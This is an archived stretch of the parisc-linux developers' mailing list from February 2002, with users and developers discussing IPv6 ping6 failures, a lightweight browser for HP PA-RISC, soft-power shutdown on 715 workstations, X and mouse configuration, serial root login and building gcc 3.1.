List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14078

Hi Sten,

On Mon, 4 Feb 2002, Sten wrote:

> On Mon, 4 Feb 2002, Jochen Friedrich wrote:
> 
> > > I have been trying to get ipv6 to work
> > > on sparc64/kernel 2.4 but it looks like it
> > > is broken somewhere in the kernel.
> > > I was wondering if this was a known problem.
> >
> > > [root@towel ip]# ping6 ::1
> > > PING ::1(::1) from ::1 : 56 data bytes
> >
> > It's the same on PARISC. However, on PARISC, although ping6 doesn't work,
> > telnet etc do work, as well as pinging the PARISC box from an Intel or
> > Alpha machine.
> 
> The reason I ask this is because I have been trying to setup a
> tunnel, and I cant get it to work either with ifconfig or iproute.
> 
> [root@towel ip]# ip tunnel add blink mode sit remote x.x.x.x dev
> eth0
> ioctl: Invalid argument

At least on PARISC, this turned out to be an glibc issue. With the latest 
glibc from debian unstable, ping6 is now working OK:

# ping6 -n www.kame.net
PING www.kame.net(3ffe:501:4819:2000:203:47ff:fea5:3257) from 
3ffe:400:470:4:a00:9ff:fe17:ca3d : 56 data bytes
64 bytes from 3ffe:501:4819:2000:203:47ff:fea5:3257: icmp_seq=1 ttl=53 
time=592
ms
64 bytes from 3ffe:501:4819:2000:203:47ff:fea5:3257: icmp_seq=2 ttl=53 
time=609
ms

--- www.kame.net ping statistics ---
3 packets transmitted, 2 received, 33% loss, time 2022ms
rtt min/avg/max/mdev = 592.367/601.114/609.862/8.781 ms
 
Cheers,
Jochen




From - Thu Nov 08 21:21:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James S" <smith-james@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: browser !!
Date: Mon, 18 Feb 2002 02:15:08 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <000801c1b84b$ff598780$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621076 3249 80.91.229.3 (22 Nov 2014 01:51:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:16 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 00:15:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail13.sdc1.sfba.home.com (femail13.sdc1.sfba.home.com [24.0.95.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D563482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 00:15:15 -0700 (MST)
Original-Received: from kenny ([68.58.113.28]) by femail13.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20020218071508.PTAS28808.femail13.sdc1.sfba.home.com@kenny>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 17 Feb 2002 23:15:08 -0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14079

i've just stumbled across one called Dillo - its by no means perfect, but
its very lightweight & its available as an hppa.deb package

James S



> Hi,
>
> Where can I find netscape browser for PA-RISC Linux 0.9.3 .
>
> Maneesh
>
>
>
>







From - Thu Nov 08 21:21:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?q?Hinrich=20Aue?= <hinrich_aue@yahoo.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Power LED
Date: Mon, 18 Feb 2002 08:37:06 +0100 (CET)
Lines: 21
Approved: news@gmane.org
Message-ID: <20020218073706.35199.qmail@web21205.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621076 3252 80.91.229.3 (22 Nov 2014 01:51:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 00:37:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web21205.mail.yahoo.com (web21205.mail.yahoo.com [216.136.131.248])
	by dsl2.external.hp.com (Postfix) with SMTP id 09DB2482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 00:37:09 -0700 (MST)
Original-Received: from [192.69.234.26] by web21205.mail.yahoo.com via HTTP; Mon, 18 Feb 2002 08:37:06 CET
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14080

When I push the power-button on my 715/80, it prints a
message on the screen, that a shuwdown is requested,
and then shuts down immediatly. On the next start up a
fsck is required.
It seems to be software controlled, or it would not
print that message(I think).
Maybe a shutdown signal is emmited from the kernel at
one point, but the runlevel isn't changed before.
So it should be possible to isolate that signal and
use it seperately in the atx style.
(I'm not a kernel hacker, but maybe this is a starting
point?)
Just speculating.


__________________________________________________________________

Gesendet von Yahoo! Mail - http://mail.yahoo.de
Ihre E-Mail noch individueller? - http://domains.yahoo.de



From - Thu Nov 08 21:21:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: kernel-2.4.17-pa22 boot problem B132L+ with serial
Date: Mon, 18 Feb 2002 08:45:38 +0100
Lines: 90
Approved: news@gmane.org
Message-ID: <OF7728C2FF.967E7C94-ONC1256B64.002A52DE@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621076 3255 80.91.229.3 (22 Nov 2014 01:51:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, willy@debian.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 00:39:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id B54394838
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 00:39:47 -0700 (MST)
Original-Received: from mastercard.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d5924ce34f5@epirel991.europay.com>;
 Mon, 18 Feb 2002 08:39:43 +0100
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.8 |June 18, 2001) at
 02/18/2002 08:45:39 AM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14081

Hey all,

Regarding root login problem on serial link, I could not reproduce on my
B180.
May be a new apt-get diste-upgrade would help?

Joel

Notes;
Debian GNU/Linux 3.0 palinux ttyS0

palinux login: root
Password:
Last login: Fri Feb 15 10:35:16 2002 from wsjso:0.0 on pts/2
Linux palinux 2.4.17-pa23-lkcd-evms-0.9.0 #4 Thu Feb 14 14:19:07 CET 2002
parisc unknown
palinux:~# dpkg -l libc6
Desired=3DUnknown/Install/Remove/Purge/Hold
| Status=3DNot/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=3D(none)/Hold/Reinst-required/X=3Dboth-problems (Status,Err:
uppercase=3Dbad)
||/ Name           Version        Description
+++-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D-=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
ii  libc6          2.2.5-3        GNU C Library: Shared libraries and
Timezone
palinux:~#

And also with k pa26

Debian GNU/Linux 3.0 palinux ttyS0

palinux login: root
Password:
Last login: Mon Feb 18 08:30:39 2002 on ttyS0
Linux palinux 2.4.17-pa26 #2 Fri Feb 15 14:55:59 CET 2002 parisc unknown
palinux:~# ll /var/lib/dpkg/status
-rw-r--r--    1 root     root       273512 Feb 14 12:31
/var/lib/dpkg/status
palinux:~# date
Mon Feb 18 08:45:02 CET 2002
palinux:~#



                                                                           =
                                               =20
                    Grant Grundler                                         =
                                               =20
                    <grundler@dsl2.extern        To:     "Jo=EBl Soete" <js=
o@europay.com>                                   =20
                    al.hp.com>                   cc:     parisc-linux@lists=
.parisc-linux.org                              =20
                                                 Subject:     Re: kernel-2.=
4.17-pa22 boot problem B132L+ with serial      =20
                    15-02-02 07:55 AM                                      =
                                               =20
                                                                           =
                                               =20
                                                                           =
                                               =20




"=3D?iso-8859-1?Q?Jo=3DEBl_Soete?=3D" wrote:
> It was "built-in 21143 on B180L" (is there a difference here between b180
> and b132?)

Yes. I don't think B132L had 100BT built-in.
But I'm too lazy to check hwdb.parisc-linux.org right now.
Bed time.

grant






**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************



From - Thu Nov 08 21:21:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power LED
Date: Mon, 18 Feb 2002 10:21:17 +0100
Organization: SAP AG - LinuxLab & Unix Platforms
Lines: 39
Approved: news@gmane.org
Message-ID: <E16cjzT-0000FF-00@linuxlab.wdf.sap-ag.de>
References: <20020218073706.35199.qmail@web21205.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621077 3257 80.91.229.3 (22 Nov 2014 01:51:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:17 +0000 (UTC)
To: Hinrich Aue <hinrich_aue@yahoo.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 02:21:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 207F84830
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 02:21:46 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id KAA00182;
  Mon, 18 Feb 2002 10:25:50 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <20020218073706.35199.qmail@web21205.mail.yahoo.com>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook.
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14082

On Monday 18 February 2002 08:37, Hinrich Aue wrote:
> When I push the power-button on my 715/80, it prints a
> message on the screen, that a shuwdown is requested,
> and then shuts down immediatly. On the next start up a
> fsck is required.
> It seems to be software controlled, or it would not
> print that message(I think).
> Maybe a shutdown signal is emmited from the kernel at
> one point, but the runlevel isn't changed before.
> So it should be possible to isolate that signal and
> use it seperately in the atx style.
> (I'm not a kernel hacker, but maybe this is a starting
> point?)
> Just speculating.

715/64, 715/80 and 715/100 belong to the so-called
715/new machines and all of those support the soft-power
switch, else you wouldn't have received the 
"Shutdown requested..." message. 
In your case I assume, that your filesystems wasn't clean
before you did shutdown your system....

BTW, the shutdown is initiated by the kernel by sending
a SIGINT to the PID (cad_pid) of the init process. This
is done in the file power.c:
http://cvs.parisc-linux.org/linux/arch/parisc/kernel/power.c?rev=1.5&content-type=text/vnd.viewcvs-markup
After receiving this signal the init process switches the runlevel,
shuts down your system cleanly and runs /sbin/poweroff
or /sbin/halt. This is already the case and is also done
that way for ATX systems.

Regards,
Helge
-- 
Helge Deller
SAP AG - LinuxLab and Unix Platforms
email: helge.deller@sap.com



From - Thu Nov 08 21:21:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X windows on my D350 Server
Date: Mon, 18 Feb 2002 10:25:15 +0100
Organization: SAP AG - LinuxLab & Unix Platforms
Lines: 41
Approved: news@gmane.org
Message-ID: <E16ck2t-0000Fa-00@linuxlab.wdf.sap-ag.de>
References: <28F05913385EAC43AF019413F674A017013F87D4@OCCLUST04EVS1.ugd.att.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621077 3259 80.91.229.3 (22 Nov 2014 01:51:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:17 +0000 (UTC)
To: "Holst, Richard G (Dick), PROSH" <dholst@att.com>,
	"parisc users" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 02:25:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47E07483C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 02:25:18 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id KAA02807;
  Mon, 18 Feb 2002 10:29:22 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <28F05913385EAC43AF019413F674A017013F87D4@OCCLUST04EVS1.ugd.att.com>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook.
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14083

Hi Dick,

Some ideas:
- Do you really have a PS/2 mouse connected ? If not X will not start.
- Does /dev/mouse really points to /dev/psaux (or something like that) ?

Regards,
Helge

On Friday 15 February 2002 21:25, Holst, Richard G (Dick), PROSH wrote:
> Folks,
>
> When my D server boots and tries to run X, I get an initial gray background
> and the X cursor, followed by a white box in the center of the screen, the
> X cursor turns to an arrow and then the screen goes blank. The login prompt
> then appears on my serial terminal.  The syslog file seems to be indicating
> that the system is having a problem with the PS/2 transmit buffer timeout.
> My /etc/X11/XF86Config-4 file is set up as follows for the mouse:
>
> __________________________________________
> __________________________________________
>
> Section "InputDevices"
>
> # Identifier and driver
>
> 	Identifier	"mouse1"
> 	Driver		"mouse"
> 	Option	"Protocol"	"PS/2"
> 	Option	"Device"	"/dev/mouse"
>
> EndSection
>
> _________________________________________
> _________________________________________
>
> Can anyone help me with this problem please?
>
> Dick Holst



From - Thu Nov 08 21:21:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?q?Hinrich=20Aue?= <hinrich_aue@yahoo.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Power LED
Date: Mon, 18 Feb 2002 11:15:05 +0100 (CET)
Lines: 48
Approved: news@gmane.org
Message-ID: <20020218101505.54487.qmail@web21205.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621078 3262 80.91.229.3 (22 Nov 2014 01:51:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 03:15:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web21205.mail.yahoo.com (web21205.mail.yahoo.com [216.136.131.248])
	by dsl2.external.hp.com (Postfix) with SMTP id 978024831
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 03:15:06 -0700 (MST)
Original-Received: from [192.69.234.30] by web21205.mail.yahoo.com via HTTP; Mon, 18 Feb 2002 11:15:05 CET
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14084

------------------------------------------
>715/64, 715/80 and 715/100 belong to the so-called
>715/new machines and all of those support the
soft-power
>switch, else you wouldn't have received the 
>"Shutdown requested..." message. 
>In your case I assume, that your filesystems wasn't
clean
>before you did shutdown your system....

>BTW, the shutdown is initiated by the kernel by
sending
>a SIGINT to the PID (cad_pid) of the init process.
This
>is done in the file power.c:
>http://cvs.parisc-linux.org/linux/arch/parisc/kernel/power.c?rev=1.5&content-type=text/vnd.viewcvs-markup
>After receiving this signal the init process switches
>the runlevel,
>shuts down your system cleanly and runs
/sbin/poweroff
>or /sbin/halt. This is already the case and is also
>done
>that way for ATX systems.

>Regards,
>Helge

But if I push the power button, the init process
doesn't seem do change the runlevel, and power off
immediatly.
I can see the message "Shutdown requested..." and then
- power off -.
I think this souldn't be so.
Also I think it is a bit dangerous if everyone can
switch of the system, clean or unclean, just by
pushing the button.
Maybe a 5 second push-time would be good (like ATX)
but with a gracefull shutdown.
After all the halt script does not power off my
715/80.
I have to switch it off manually.

__________________________________________________________________

Gesendet von Yahoo! Mail - http://mail.yahoo.de
Ihre E-Mail noch individueller? - http://domains.yahoo.de



From - Thu Nov 08 21:21:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hppa-linux gcc-3.0.3:
Date: Mon, 18 Feb 2002 11:19:33 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <OF5687265E.42AF0F56-ONC1256B64.00367C5C@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621078 3267 80.91.229.3 (22 Nov 2014 01:51:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 03:17:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 524C44839
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 03:17:17 -0700 (MST)
Original-Received: from mastercard.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d59255d82c0@epirel991.europay.com>;
 Mon, 18 Feb 2002 11:16:14 +0100
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.8 |June 18, 2001) at
 02/18/2002 11:22:10 AM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14085

Hi Dave,

I read your mail
:http://lists.parisc-linux.org/pipermail/parisc-linux/2002-February/015456.html

So I try to figure out how to get sources but even on
http://gcc.gnu.org/cgi-bin/cvsweb.cgi/ (no more chance on the ftp site) I
do not find 3.1 branch.

Can you explain me how to get those sources.

Hmm... If I also read well
'http://www.parisc-linux.org/toolchain/index.html', I would also need
corresponding binutils and glibc sources?
Which release do I have do use to rebuild gcc-3.1 and how to get their src
(if requested)?

Thanks in advance for help,
     Joel



**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************



From - Thu Nov 08 21:21:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Jandt <tilo@jandt-online.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] MySQL
Date: Mon, 18 Feb 2002 12:03:11 +0100
Lines: 77
Approved: news@gmane.org
Message-ID: <5.0.2.1.2.20020218115723.00ad0e80@pop.puretec.de>
References: <OF5687265E.42AF0F56-ONC1256B64.00367C5C@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621078 3270 80.91.229.3 (22 Nov 2014 01:51:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 04:05:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tom.hrz.tu-chemnitz.de (tom.hrz.tu-chemnitz.de [134.109.132.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id B30914836
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 04:05:06 -0700 (MST)
Original-Received: from pat.hrz.tu-chemnitz.de ([134.109.132.143] ident=mail)
	by tom.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #3)
	id 16clbQ-0000Pa-00
	for parisc-linux@lists.parisc-linux.org; Mon, 18 Feb 2002 12:05:00 +0100
Original-Received: from gerd.csn.tu-chemnitz.de ([134.109.88.146] helo=gerd.jandt-online.net)
	by pat.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #2)
	id 16clbQ-0002jr-00
	for parisc-linux@lists.parisc-linux.org; Mon, 18 Feb 2002 12:05:00 +0100
X-Sender: pt7606182-tilo@pop.puretec.de
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
In-Reply-To: <OF5687265E.42AF0F56-ONC1256B64.00367C5C@com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
